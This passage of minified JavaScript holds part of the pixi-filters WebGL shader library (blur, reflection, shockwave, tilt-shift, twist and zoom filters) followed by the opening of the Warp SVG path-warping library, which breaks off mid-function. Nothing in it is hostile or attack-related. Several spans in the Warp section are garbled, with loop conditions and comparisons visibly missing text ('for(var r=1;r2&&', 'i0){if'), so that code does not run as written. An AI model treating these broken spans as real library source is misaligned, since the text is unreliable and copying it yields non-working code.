vec2 vTextureCoord;\nuniform sampler2D uSampler;\nuniform vec4 filterArea;\n\nuniform float uRadian;\nuniform vec2 uCenter;\nuniform float uRadius;\nuniform int uKernelSize;\n\nconst int MAX_KERNEL_SIZE = 2048;\n\nvoid main(void)\n{\n vec4 color = texture2D(uSampler, vTextureCoord);\n\n if (uKernelSize == 0)\n {\n gl_FragColor = color;\n return;\n }\n\n float aspect = filterArea.y / filterArea.x;\n vec2 center = uCenter.xy / filterArea.xy;\n float gradient = uRadius / filterArea.x * 0.3;\n float radius = uRadius / filterArea.x - gradient * 0.5;\n int k = uKernelSize - 1;\n\n vec2 coord = vTextureCoord;\n vec2 dir = vec2(center - coord);\n float dist = length(vec2(dir.x, dir.y * aspect));\n\n float radianStep = uRadian;\n if (radius >= 0.0 && dist > radius) {\n float delta = dist - radius;\n float gap = gradient;\n float scale = 1.0 - abs(delta / gap);\n if (scale <= 0.0) {\n gl_FragColor = color;\n return;\n }\n radianStep *= scale;\n }\n radianStep /= float(k);\n\n float s = sin(radianStep);\n float c = cos(radianStep);\n mat2 rotationMatrix = mat2(vec2(c, -s), vec2(s, c));\n\n for(int i = 0; i < MAX_KERNEL_SIZE - 1; i++) {\n if (i == k) {\n break;\n }\n\n coord -= center;\n coord.y *= aspect;\n coord = rotationMatrix * coord;\n coord.y /= aspect;\n coord += center;\n\n vec4 sample = texture2D(uSampler, coord);\n\n // switch to pre-multiplied alpha to correctly blur transparent images\n // sample.rgb *= sample.a;\n\n color += sample;\n }\n\n gl_FragColor = color / float(uKernelSize);\n}\n",ze=function(e){function t(t,n,r,o){void 0===t&&(t=0),void 0===n&&(n=[0,0]),void 0===r&&(r=5),void 0===o&&(o=-1),e.call(this,Se,Fe),this._angle=0,this.angle=t,this.center=n,this.kernelSize=r,this.radius=o}e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t;var n={angle:{configurable:!0},center:{configurable:!0},radius:{configurable:!0}};return t.prototype.apply=function(e,t,n,r){this.uniforms.uKernelSize=0!==this._angle?this.kernelSize:0,e.applyFilter(this,t,n,r)},n.angle.set=function(e){this._angle=e,this.uniforms.uRadian=e*Math.PI/180},n.angle.get=function(){return this._angle},n.center.get=function(){return this.uniforms.uCenter},n.center.set=function(e){this.uniforms.uCenter=e},n.radius.get=function(){return this.uniforms.uRadius},n.radius.set=function(e){(e<0||e===1/0)&&(e=-1),this.uniforms.uRadius=e},Object.defineProperties(t.prototype,n),t}(t.Filter),Ae=n,we="varying vec2 vTextureCoord;\nuniform sampler2D uSampler;\n\nuniform vec4 filterArea;\nuniform vec4 filterClamp;\nuniform vec2 dimensions;\n\nuniform bool mirror;\nuniform float boundary;\nuniform vec2 amplitude;\nuniform vec2 waveLength;\nuniform vec2 alpha;\nuniform float time;\n\nfloat rand(vec2 co) {\n return fract(sin(dot(co.xy, vec2(12.9898, 78.233))) * 43758.5453);\n}\n\nvoid main(void)\n{\n vec2 pixelCoord = vTextureCoord.xy * filterArea.xy;\n vec2 coord = pixelCoord / dimensions;\n\n if (coord.y < boundary) {\n gl_FragColor = texture2D(uSampler, vTextureCoord);\n return;\n }\n\n float k = (coord.y - boundary) / (1. - boundary + 0.0001);\n float areaY = boundary * dimensions.y / filterArea.y;\n float v = areaY + areaY - vTextureCoord.y;\n float y = mirror ? v : vTextureCoord.y;\n\n float _amplitude = ((amplitude.y - amplitude.x) * k + amplitude.x ) / filterArea.x;\n float _waveLength = ((waveLength.y - waveLength.x) * k + waveLength.x) / filterArea.y;\n float _alpha = (alpha.y - alpha.x) * k + alpha.x;\n\n float x = vTextureCoord.x + cos(v * 6.28 / _waveLength - time) * _amplitude;\n x = clamp(x, filterClamp.x, filterClamp.z);\n\n vec4 color = texture2D(uSampler, vec2(x, y));\n\n gl_FragColor = color * _alpha;\n}\n",Te=function(e){function t(t){e.call(this,Ae,we),this.uniforms.amplitude=new Float32Array(2),this.uniforms.waveLength=new Float32Array(2),this.uniforms.alpha=new Float32Array(2),this.uniforms.dimensions=new Float32Array(2),Object.assign(this,{mirror:!0,boundary:.5,amplitude:[0,20],waveLength:[30,100],alpha:[1,1],time:0},t)}e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t;var n={mirror:{configurable:!0},boundary:{configurable:!0},amplitude:{configurable:!0},waveLength:{configurable:!0},alpha:{configurable:!0}};return t.prototype.apply=function(e,t,n,r){this.uniforms.dimensions[0]=t.sourceFrame.width,this.uniforms.dimensions[1]=t.sourceFrame.height,this.uniforms.time=this.time,e.applyFilter(this,t,n,r)},n.mirror.set=function(e){this.uniforms.mirror=e},n.mirror.get=function(){return this.uniforms.mirror},n.boundary.set=function(e){this.uniforms.boundary=e},n.boundary.get=function(){return this.uniforms.boundary},n.amplitude.set=function(e){this.uniforms.amplitude[0]=e[0],this.uniforms.amplitude[1]=e[1]},n.amplitude.get=function(){return this.uniforms.amplitude},n.waveLength.set=function(e){this.uniforms.waveLength[0]=e[0],this.uniforms.waveLength[1]=e[1]},n.waveLength.get=function(){return this.uniforms.waveLength},n.alpha.set=function(e){this.uniforms.alpha[0]=e[0],this.uniforms.alpha[1]=e[1]},n.alpha.get=function(){return this.uniforms.alpha},Object.defineProperties(t.prototype,n),t}(t.Filter),De=n,Oe="precision mediump float;\n\nvarying vec2 vTextureCoord;\n\nuniform sampler2D uSampler;\nuniform vec4 filterArea;\nuniform vec2 red;\nuniform vec2 green;\nuniform vec2 blue;\n\nvoid main(void)\n{\n gl_FragColor.r = texture2D(uSampler, vTextureCoord + red/filterArea.xy).r;\n gl_FragColor.g = texture2D(uSampler, vTextureCoord + green/filterArea.xy).g;\n gl_FragColor.b = texture2D(uSampler, vTextureCoord + blue/filterArea.xy).b;\n gl_FragColor.a = texture2D(uSampler, vTextureCoord).a;\n}\n",Pe=function(e){function t(t,n,r){void 0===t&&(t=[-10,0]),void 0===n&&(n=[0,10]),void 0===r&&(r=[0,0]),e.call(this,De,Oe),this.red=t,this.green=n,this.blue=r}e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t;var n={red:{configurable:!0},green:{configurable:!0},blue:{configurable:!0}};return n.red.get=function(){return this.uniforms.red},n.red.set=function(e){this.uniforms.red=e},n.green.get=function(){return this.uniforms.green},n.green.set=function(e){this.uniforms.green=e},n.blue.get=function(){return this.uniforms.blue},n.blue.set=function(e){this.uniforms.blue=e},Object.defineProperties(t.prototype,n),t}(t.Filter),Me=n,Re="varying vec2 vTextureCoord;\nuniform sampler2D uSampler;\nuniform vec4 filterArea;\nuniform vec4 filterClamp;\n\nuniform vec2 center;\n\nuniform float amplitude;\nuniform float wavelength;\n// uniform float power;\nuniform float brightness;\nuniform float speed;\nuniform float radius;\n\nuniform float time;\n\nconst float PI = 3.14159;\n\nvoid main()\n{\n float halfWavelength = wavelength * 0.5 / filterArea.x;\n float maxRadius = radius / filterArea.x;\n float currentRadius = time * speed / filterArea.x;\n\n float fade = 1.0;\n\n if (maxRadius > 0.0) {\n if (currentRadius > maxRadius) {\n gl_FragColor = texture2D(uSampler, vTextureCoord);\n return;\n }\n fade = 1.0 - pow(currentRadius / maxRadius, 2.0);\n }\n\n vec2 dir = vec2(vTextureCoord - center / filterArea.xy);\n dir.y *= filterArea.y / filterArea.x;\n float dist = length(dir);\n\n if (dist <= 0.0 || dist < currentRadius - halfWavelength || dist > currentRadius + halfWavelength) {\n gl_FragColor = texture2D(uSampler, vTextureCoord);\n return;\n }\n\n vec2 diffUV = normalize(dir);\n\n float diff = (dist - currentRadius) / halfWavelength;\n\n float p = 1.0 - pow(abs(diff), 2.0);\n\n // float powDiff = diff * pow(p, 2.0) * ( amplitude * fade );\n float powDiff = 1.25 * sin(diff * PI) * p * ( amplitude * fade );\n\n vec2 offset = diffUV * powDiff / filterArea.xy;\n\n // Do clamp :\n vec2 coord = vTextureCoord + offset;\n vec2 clampedCoord = clamp(coord, filterClamp.xy, filterClamp.zw);\n vec4 color = texture2D(uSampler, clampedCoord);\n if (coord != clampedCoord) {\n color *= max(0.0, 1.0 - length(coord - clampedCoord));\n }\n\n // No clamp :\n // gl_FragColor = texture2D(uSampler, vTextureCoord + offset);\n\n color.rgb *= 1.0 + (brightness - 1.0) * p * fade;\n\n gl_FragColor = color;\n}\n",je=function(e){function t(t,n,r){void 0===t&&(t=[0,0]),void 0===n&&(n={}),void 0===r&&(r=0),e.call(this,Me,Re),this.center=t,Array.isArray(n)&&(console.warn("Deprecated Warning: ShockwaveFilter params Array has been changed to options Object."),n={}),n=Object.assign({amplitude:30,wavelength:160,brightness:1,speed:500,radius:-1},n),this.amplitude=n.amplitude,this.wavelength=n.wavelength,this.brightness=n.brightness,this.speed=n.speed,this.radius=n.radius,this.time=r}e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t;var n={center:{configurable:!0},amplitude:{configurable:!0},wavelength:{configurable:!0},brightness:{configurable:!0},speed:{configurable:!0},radius:{configurable:!0}};return t.prototype.apply=function(e,t,n,r){this.uniforms.time=this.time,e.applyFilter(this,t,n,r)},n.center.get=function(){return this.uniforms.center},n.center.set=function(e){this.uniforms.center=e},n.amplitude.get=function(){return this.uniforms.amplitude},n.amplitude.set=function(e){this.uniforms.amplitude=e},n.wavelength.get=function(){return this.uniforms.wavelength},n.wavelength.set=function(e){this.uniforms.wavelength=e},n.brightness.get=function(){return this.uniforms.brightness},n.brightness.set=function(e){this.uniforms.brightness=e},n.speed.get=function(){return this.uniforms.speed},n.speed.set=function(e){this.uniforms.speed=e},n.radius.get=function(){return this.uniforms.radius},n.radius.set=function(e){this.uniforms.radius=e},Object.defineProperties(t.prototype,n),t}(t.Filter),Le=n,ke="varying vec2 vTextureCoord;\nuniform sampler2D uSampler;\nuniform sampler2D uLightmap;\nuniform vec4 filterArea;\nuniform vec2 dimensions;\nuniform vec4 ambientColor;\nvoid main() {\n vec4 diffuseColor = texture2D(uSampler, vTextureCoord);\n vec2 lightCoord = (vTextureCoord * filterArea.xy) / dimensions;\n vec4 light = texture2D(uLightmap, lightCoord);\n vec3 ambient = ambientColor.rgb * ambientColor.a;\n vec3 intensity = ambient + light.rgb;\n vec3 finalColor = diffuseColor.rgb * intensity;\n gl_FragColor = vec4(finalColor, diffuseColor.a);\n}\n",Ie=function(e){function n(t,n,r){void 0===n&&(n=0),void 0===r&&(r=1),e.call(this,Le,ke),this.uniforms.dimensions=new Float32Array(2),this.uniforms.ambientColor=new Float32Array([0,0,0,r]),this.texture=t,this.color=n}e&&(n.__proto__=e),n.prototype=Object.create(e&&e.prototype),n.prototype.constructor=n;var r={texture:{configurable:!0},color:{configurable:!0},alpha:{configurable:!0}};return n.prototype.apply=function(e,t,n,r){this.uniforms.dimensions[0]=t.sourceFrame.width,this.uniforms.dimensions[1]=t.sourceFrame.height,e.applyFilter(this,t,n,r)},r.texture.get=function(){return this.uniforms.uLightmap},r.texture.set=function(e){this.uniforms.uLightmap=e},r.color.set=function(e){var n=this.uniforms.ambientColor;"number"==typeof e?(t.utils.hex2rgb(e,n),this._color=e):(n[0]=e[0],n[1]=e[1],n[2]=e[2],n[3]=e[3],this._color=t.utils.rgb2hex(n))},r.color.get=function(){return this._color},r.alpha.get=function(){return this.uniforms.ambientColor[3]},r.alpha.set=function(e){this.uniforms.ambientColor[3]=e},Object.defineProperties(n.prototype,r),n}(t.Filter),Ee=n,Be="varying vec2 vTextureCoord;\n\nuniform sampler2D uSampler;\nuniform float blur;\nuniform float gradientBlur;\nuniform vec2 start;\nuniform vec2 end;\nuniform vec2 delta;\nuniform vec2 texSize;\n\nfloat random(vec3 scale, float seed)\n{\n return fract(sin(dot(gl_FragCoord.xyz + seed, scale)) * 43758.5453 + seed);\n}\n\nvoid main(void)\n{\n vec4 color = vec4(0.0);\n float total = 0.0;\n\n float offset = random(vec3(12.9898, 78.233, 151.7182), 0.0);\n vec2 normal = normalize(vec2(start.y - end.y, end.x - start.x));\n float radius = smoothstep(0.0, 1.0, abs(dot(vTextureCoord * texSize - start, normal)) / gradientBlur) * blur;\n\n for (float t = -30.0; t <= 30.0; t++)\n {\n float percent = (t + offset - 0.5) / 30.0;\n float weight = 1.0 - abs(percent);\n vec4 sample = texture2D(uSampler, vTextureCoord + delta / texSize * percent * radius);\n sample.rgb *= sample.a;\n color += sample * weight;\n total += weight;\n }\n\n color /= total;\n color.rgb /= color.a + 0.00001;\n\n gl_FragColor = color;\n}\n",Xe=function(e){function n(n,r,o,i){void 0===n&&(n=100),void 0===r&&(r=600),void 0===o&&(o=null),void 0===i&&(i=null),e.call(this,Ee,Be),this.uniforms.blur=n,this.uniforms.gradientBlur=r,this.uniforms.start=o||new t.Point(0,window.innerHeight/2),this.uniforms.end=i||new t.Point(600,window.innerHeight/2),this.uniforms.delta=new t.Point(30,30),this.uniforms.texSize=new t.Point(window.innerWidth,window.innerHeight),this.updateDelta()}e&&(n.__proto__=e),n.prototype=Object.create(e&&e.prototype),n.prototype.constructor=n;var r={blur:{configurable:!0},gradientBlur:{configurable:!0},start:{configurable:!0},end:{configurable:!0}};return n.prototype.updateDelta=function(){this.uniforms.delta.x=0,this.uniforms.delta.y=0},r.blur.get=function(){return this.uniforms.blur},r.blur.set=function(e){this.uniforms.blur=e},r.gradientBlur.get=function(){return this.uniforms.gradientBlur},r.gradientBlur.set=function(e){this.uniforms.gradientBlur=e},r.start.get=function(){return this.uniforms.start},r.start.set=function(e){this.uniforms.start=e,this.updateDelta()},r.end.get=function(){return this.uniforms.end},r.end.set=function(e){this.uniforms.end=e,this.updateDelta()},Object.defineProperties(n.prototype,r),n}(t.Filter),qe=function(e){function t(){e.apply(this,arguments)}return e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t,t.prototype.updateDelta=function(){var e=this.uniforms.end.x-this.uniforms.start.x,t=this.uniforms.end.y-this.uniforms.start.y,n=Math.sqrt(e*e+t*t);this.uniforms.delta.x=e/n,this.uniforms.delta.y=t/n},t}(Xe),Ne=function(e){function t(){e.apply(this,arguments)}return e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t,t.prototype.updateDelta=function(){var e=this.uniforms.end.x-this.uniforms.start.x,t=this.uniforms.end.y-this.uniforms.start.y,n=Math.sqrt(e*e+t*t);this.uniforms.delta.x=-t/n,this.uniforms.delta.y=e/n},t}(Xe),We=function(e){function t(t,n,r,o){void 0===t&&(t=100),void 0===n&&(n=600),void 0===r&&(r=null),void 0===o&&(o=null),e.call(this),this.tiltShiftXFilter=new qe(t,n,r,o),this.tiltShiftYFilter=new Ne(t,n,r,o)}e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t;var n={blur:{configurable:!0},gradientBlur:{configurable:!0},start:{configurable:!0},end:{configurable:!0}};return t.prototype.apply=function(e,t,n){var r=e.getRenderTarget(!0);this.tiltShiftXFilter.apply(e,t,r),this.tiltShiftYFilter.apply(e,r,n),e.returnRenderTarget(r)},n.blur.get=function(){return this.tiltShiftXFilter.blur},n.blur.set=function(e){this.tiltShiftXFilter.blur=this.tiltShiftYFilter.blur=e},n.gradientBlur.get=function(){return this.tiltShiftXFilter.gradientBlur},n.gradientBlur.set=function(e){this.tiltShiftXFilter.gradientBlur=this.tiltShiftYFilter.gradientBlur=e},n.start.get=function(){return this.tiltShiftXFilter.start},n.start.set=function(e){this.tiltShiftXFilter.start=this.tiltShiftYFilter.start=e},n.end.get=function(){return this.tiltShiftXFilter.end},n.end.set=function(e){this.tiltShiftXFilter.end=this.tiltShiftYFilter.end=e},Object.defineProperties(t.prototype,n),t}(t.Filter),Ge=n,Ke="varying vec2 vTextureCoord;\n\nuniform sampler2D uSampler;\nuniform float radius;\nuniform float angle;\nuniform vec2 offset;\nuniform vec4 filterArea;\n\nvec2 mapCoord( vec2 coord )\n{\n coord *= filterArea.xy;\n coord += filterArea.zw;\n\n return coord;\n}\n\nvec2 unmapCoord( vec2 coord )\n{\n coord -= filterArea.zw;\n coord /= filterArea.xy;\n\n return coord;\n}\n\nvec2 twist(vec2 coord)\n{\n coord -= offset;\n\n float dist = length(coord);\n\n if (dist < radius)\n {\n float ratioDist = (radius - dist) / radius;\n float angleMod = ratioDist * ratioDist * angle;\n float s = sin(angleMod);\n float c = cos(angleMod);\n coord = vec2(coord.x * c - coord.y * s, coord.x * s + coord.y * c);\n }\n\n coord += offset;\n\n return coord;\n}\n\nvoid main(void)\n{\n\n vec2 coord = mapCoord(vTextureCoord);\n\n coord = twist(coord);\n\n coord = unmapCoord(coord);\n\n gl_FragColor = texture2D(uSampler, coord );\n\n}\n",Ye=function(e){function t(t,n,r){void 0===t&&(t=200),void 0===n&&(n=4),void 0===r&&(r=20),e.call(this,Ge,Ke),this.radius=t,this.angle=n,this.padding=r}e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t;var n={offset:{configurable:!0},radius:{configurable:!0},angle:{configurable:!0}};return n.offset.get=function(){return this.uniforms.offset},n.offset.set=function(e){this.uniforms.offset=e},n.radius.get=function(){return this.uniforms.radius},n.radius.set=function(e){this.uniforms.radius=e},n.angle.get=function(){return this.uniforms.angle},n.angle.set=function(e){this.uniforms.angle=e},Object.defineProperties(t.prototype,n),t}(t.Filter),Qe=n,Ue="varying vec2 vTextureCoord;\nuniform sampler2D uSampler;\nuniform vec4 filterArea;\n\nuniform vec2 uCenter;\nuniform float uStrength;\nuniform float uInnerRadius;\nuniform float uRadius;\n\nconst float MAX_KERNEL_SIZE = 32.0;\n\n// author: http://byteblacksmith.com/improvements-to-the-canonical-one-liner-glsl-rand-for-opengl-es-2-0/\nhighp float rand(vec2 co, float seed) {\n const highp float a = 12.9898, b = 78.233, c = 43758.5453;\n highp float dt = dot(co + seed, vec2(a, b)), sn = mod(dt, 3.14159);\n return fract(sin(sn) * c + seed);\n}\n\nvoid main() {\n\n float minGradient = uInnerRadius * 0.3;\n float innerRadius = (uInnerRadius + minGradient * 0.5) / filterArea.x;\n\n float gradient = uRadius * 0.3;\n float radius = (uRadius - gradient * 0.5) / filterArea.x;\n\n float countLimit = MAX_KERNEL_SIZE;\n\n vec2 dir = vec2(uCenter.xy / filterArea.xy - vTextureCoord);\n float dist = length(vec2(dir.x, dir.y * filterArea.y / filterArea.x));\n\n float strength = uStrength;\n\n float delta = 0.0;\n float gap;\n if (dist < innerRadius) {\n delta = innerRadius - dist;\n gap = minGradient;\n } else if (radius >= 0.0 && dist > radius) { // radius < 0 means it's infinity\n delta = dist - radius;\n gap = gradient;\n }\n\n if (delta > 0.0) {\n float normalCount = gap / filterArea.x;\n delta = (normalCount - delta) / normalCount;\n countLimit *= delta;\n strength *= delta;\n if (countLimit < 1.0)\n {\n gl_FragColor = texture2D(uSampler, vTextureCoord);\n return;\n }\n }\n\n // randomize the lookup values to hide the fixed number of samples\n float offset = rand(vTextureCoord, 0.0);\n\n float total = 0.0;\n vec4 color = vec4(0.0);\n\n dir *= strength;\n\n for (float t = 0.0; t < MAX_KERNEL_SIZE; t++) {\n float percent = (t + offset) / MAX_KERNEL_SIZE;\n float weight = 4.0 * (percent - percent * percent);\n vec2 p = vTextureCoord + dir * percent;\n vec4 sample = texture2D(uSampler, p);\n\n // switch to pre-multiplied alpha to correctly blur transparent images\n // sample.rgb *= sample.a;\n\n color += sample * weight;\n total += weight;\n\n if (t > countLimit){\n break;\n }\n }\n\n color /= total;\n // switch back from pre-multiplied alpha\n // color.rgb /= color.a + 0.00001;\n\n gl_FragColor = color;\n}\n",Ze=function(e){function t(t,n,r,o){void 0===t&&(t=.1),void 0===n&&(n=[0,0]),void 0===r&&(r=0),void 0===o&&(o=-1),e.call(this,Qe,Ue),this.center=n,this.strength=t,this.innerRadius=r,this.radius=o}e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t;var n={center:{configurable:!0},strength:{configurable:!0},innerRadius:{configurable:!0},radius:{configurable:!0}};return n.center.get=function(){return this.uniforms.uCenter},n.center.set=function(e){this.uniforms.uCenter=e},n.strength.get=function(){return this.uniforms.uStrength},n.strength.set=function(e){this.uniforms.uStrength=e},n.innerRadius.get=function(){return this.uniforms.uInnerRadius},n.innerRadius.set=function(e){this.uniforms.uInnerRadius=e},n.radius.get=function(){return this.uniforms.uRadius},n.radius.set=function(e){(e<0||e===1/0)&&(e=-1),this.uniforms.uRadius=e},Object.defineProperties(t.prototype,n),t}(t.Filter);return e.AdjustmentFilter=o,e.AdvancedBloomFilter=p,e.AsciiFilter=g,e.BevelFilter=y,e.BloomFilter=F,e.BulgePinchFilter=w,e.ColorMapFilter=O,e.ColorReplaceFilter=R,e.ConvolutionFilter=k,e.CrossHatchFilter=B,e.CRTFilter=N,e.DotFilter=K,e.DropShadowFilter=U,e.EmbossFilter=H,e.GlitchFilter=ee,e.GlowFilter=re,e.GodrayFilter=se,e.KawaseBlurFilter=a,e.MotionBlurFilter=ce,e.MultiColorReplaceFilter=pe,e.OldFilmFilter=ge,e.OutlineFilter=ye,e.PixelateFilter=Ce,e.RadialBlurFilter=ze,e.ReflectionFilter=Te,e.RGBSplitFilter=Pe,e.ShockwaveFilter=je,e.SimpleLightmapFilter=Ie,e.TiltShiftFilter=We,e.TiltShiftAxisFilter=Xe,e.TiltShiftXFilter=qe,e.TiltShiftYFilter=Ne,e.TwistFilter=Ye,e.ZoomBlurFilter=Ze,e}({},PIXI);Object.assign(PIXI.filters,this?this.__filters:__filters); +//# sourceMappingURL=node_modules/pixi-filters/dist/pixi-filters.js.map +!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.Warp=t():e.Warp=t()}("undefined"!=typeof self?self:this,function(){return function(e){function t(n){if(r[n])return r[n].exports;var a=r[n]={i:n,l:!1,exports:{}};return e[n].call(a.exports,a,a.exports,t),a.l=!0,a.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,n){t.o(e,r)||Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=6)}([function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var l=function(){return function(t,r){if(Array.isArray(t))return t;if(Symbol.iterator in Object(t))return function(e,t){var r=[],n=!0,a=!1,i=void 0;try{for(var o,l=e[Symbol.iterator]();!(n=(o=l.next()).done)&&(r.push(o.value),!t||r.length!==t);n=!0);}catch(e){a=!0,i=e}finally{try{!n&&l.return&&l.return()}finally{if(a)throw i}}return r}(t,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}();t.getSegmentSchema=function(e){return u[e.toLowerCase()]},t.isDrawingSegment=function(e){return f.test(e.type)},t.createLineSegment=function(e){var t={relative:!1};switch(e.length){case 2:t.type="l";break;case 3:t.type="q";break;case 4:t.type="c";break;default:return!1}for(var r=1;r2&&(t.extended=t.extended||{},t.extended[n]=e[r].slice(2))}return t},t.joinSegments=function(e,t){if(e.type===t.type&&e.relative===t.relative){var r=function(e,t,r){if(e&&t){for(var n=[],a=Math.min(e.length,t.length),i=0;i0){if(l.length%y.length!=0)throw new Error('Malformed path data: type "'+n+'" has '+l.length+" arguments, "+l.length%y.length+" too many");for(var f=0;f1&&void 0!==arguments[1]?arguments[1]:2,r=!1,n=Math.pow(10,t);return e.map(function(e){var t=[],o=e.relative?e.type:e.type.toUpperCase(),l=r!==o,u=(0,i.getSegmentSchema)(e.type);l&&(t.push(o),r=o);var y=!0,f=!1,c=void 0;try{for(var v,p=u[Symbol.iterator]();!(y=(v=p.next()).done);y=!0){var d=e[v.value],h=void 0;switch(void 0===d?"undefined":a(d)){case"boolean":h=0|d;break;case"number":h=(d*n|0)/n;break;default:throw new Error("Invalid path data")}l||t.push(" "),t.push(h),l=!1}}catch(e){f=!0,c=e}finally{try{!y&&p.return&&p.return()}finally{if(f)throw c}}return t.join("")}).join("")};var i=r(0)},function(e,t,r){"use strict";function i(e,t,r){e.setAttribute(t,r)}Object.defineProperty(t,"__esModule",{value:!0}),t.createElement=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=document.createElementNS("http://www.w3.org/2000/svg",e),n=!0,a=!1,o=void 0;try{for(var l,u=Object.keys(t)[Symbol.iterator]();!(n=(l=u.next()).done);n=!0){var y=l.value;i(r,y,t[y])}}catch(e){a=!0,o=e}finally{try{!n&&u.return&&u.return()}finally{if(a)throw o}}return r},t.getProperty=function(e,t){return e[t]instanceof SVGAnimatedLength?e[t].baseVal.value:e.getAttribute(t)},t.setProperty=i},function(e,t,r){"use strict";function n(e){for(var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:.5,r=[],n=[],a=[e];a.length2&&void 0!==arguments[2]?arguments[2]:i,a=[e],o=[];a.length>0;){var l=a.pop();if(r(l)>t)for(var u=n(l),y=u.length-1;y>=0;y--)a.push(u[y]);else o.push(l)}return o},t.euclideanDistance=i},function(e,t,r){"use strict";var a=function(e){return e&&e.__esModule?e:{default:e}}(r(7));e.exports=a.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function a(e){if(Array.isArray(e)){for(var t=0,r=Array(e.length);t1&&void 0!==arguments[1]?arguments[1]:"q";(function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")})(this,e),this.element=t,(0,l.shapesToPaths)(t),(0,l.preparePaths)(t,r);var n=Array.from(t.querySelectorAll("path"));this.paths=n.map(function(e){var t=(0,u.getProperty)(e,"d");return{pathElement:e,pathData:(0,f.default)(t)}})}return o(e,[{key:"update",value:function(){var e=!0,t=!1,r=void 0;try{for(var n,a=this.paths[Symbol.iterator]();!(e=(n=a.next()).done);e=!0){var i=n.value,o=i.pathElement,l=i.pathData,y=(0,v.default)(l);(0,u.setProperty)(o,"d",y)}}catch(e){t=!0,r=e}finally{try{!e&&a.return&&a.return()}finally{if(t)throw r}}}},{key:"transform",value:function(e){e=Array.isArray(e)?e:[e];var t=!0,r=!1,n=void 0;try{for(var a,i=this.paths[Symbol.iterator]();!(t=(a=i.next()).done);t=!0){var o=a.value;o.pathData=(0,d.default)(o.pathData,e)}}catch(e){r=!0,n=e}finally{try{!t&&i.return&&i.return()}finally{if(r)throw n}}this.update()}},{key:"interpolate",value:function(e){function t(t){var n=[t[0].slice(0,2),t[t.length-1].slice(0,2)],a=(0,p.euclideanDistance)(n);return r=r||a>e,a}var r=!1,n=!0,a=!1,i=void 0;try{for(var o,l=this.paths[Symbol.iterator]();!(n=(o=l.next()).done);n=!0){var u=o.value;u.pathData=(0,x.default)(u.pathData,e,t)}}catch(e){a=!0,i=e}finally{try{!n&&l.return&&l.return()}finally{if(a)throw i}}return r}},{key:"extrapolate",value:function(e){function t(t){var n=[t[0].slice(0,2),t[t.length-1].slice(0,2)],a=(0,p.euclideanDistance)(n);return r=r||a<=e,a}var r=!1,n=!0,a=!1,i=void 0;try{for(var o,l=this.paths[Symbol.iterator]();!(n=(o=l.next()).done);n=!0){var u=o.value;u.pathData=(0,m.default)(u.pathData,e,t)}}catch(e){a=!0,i=e}finally{try{!n&&l.return&&l.return()}finally{if(a)throw i}}return r}},{key:"preInterpolate",value:function(e,t){function r(e){var r=[e[0].slice(0,2),e[e.length-1].slice(0,2)],a=(0,p.euclideanDistance)(r);return n=n||a>t,a}var n=!1,i=!0,o=!1,l=void 0;try{for(var u,y=this.paths[Symbol.iterator]();!(i=(u=y.next()).done);i=!0){var f=u.value,c=(0,d.default)(f.pathData,function(t){var r=e(t.slice(0,2));return r.push.apply(r,a(t)),r}),v=(0,x.default)(c,t,r);f.pathData=(0,d.default)(v,function(e){return e.slice(2)})}}catch(e){o=!0,l=e}finally{try{!i&&y.return&&y.return()}finally{if(o)throw l}}return n}},{key:"preExtrapolate",value:function(e,t){function r(e){var r=[e[0].slice(0,2),e[e.length-1].slice(0,2)],a=(0,p.euclideanDistance)(r);return n=n||a<=t,a}var n=!1,i=!0,o=!1,l=void 0;try{for(var u,y=this.paths[Symbol.iterator]();!(i=(u=y.next()).done);i=!0){var f=u.value,c=(0,d.default)(f.pathData,function(t){var r=e(t.slice(0,2));return r.push.apply(r,a(t)),r}),v=(0,m.default)(c,t,r);f.pathData=(0,d.default)(v,function(e){return e.slice(2)})}}catch(e){o=!0,l=e}finally{try{!i&&y.return&&y.return()}finally{if(o)throw l}}return n}}]),e}();t.default=b},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function a(e){if(Array.isArray(e)){for(var t=0,r=Array(e.length);t1&&void 0!==arguments[1]?arguments[1]:"q",r=Array.from(e.querySelectorAll("path")),n=!0,a=!1,i=void 0;try{for(var o,l=r[Symbol.iterator]();!(n=(o=l.next()).done);n=!0){var y=o.value,c=(0,_.getProperty)(y,"d"),p=(0,u.default)(c);p=(0,v.default)(p,(0,s.default)()),p=(0,v.default)(p,(0,h.default)()),p=(0,v.default)(p,(0,g.default)()),p=(0,v.default)(p,(0,b.default)(t)),p=(0,v.default)(p,(0,w.default)()),c=(0,f.default)(p),(0,_.setProperty)(y,"d",c)}}catch(e){a=!0,i=e}finally{try{!n&&l.return&&l.return()}finally{if(a)throw i}}};var u=n(r(2)),f=n(r(3)),v=n(r(1)),s=n(r(9)),h=n(r(10)),g=n(r(11)),b=n(r(12)),w=n(r(13)),M=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(r(14)),_=r(4)},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(){var 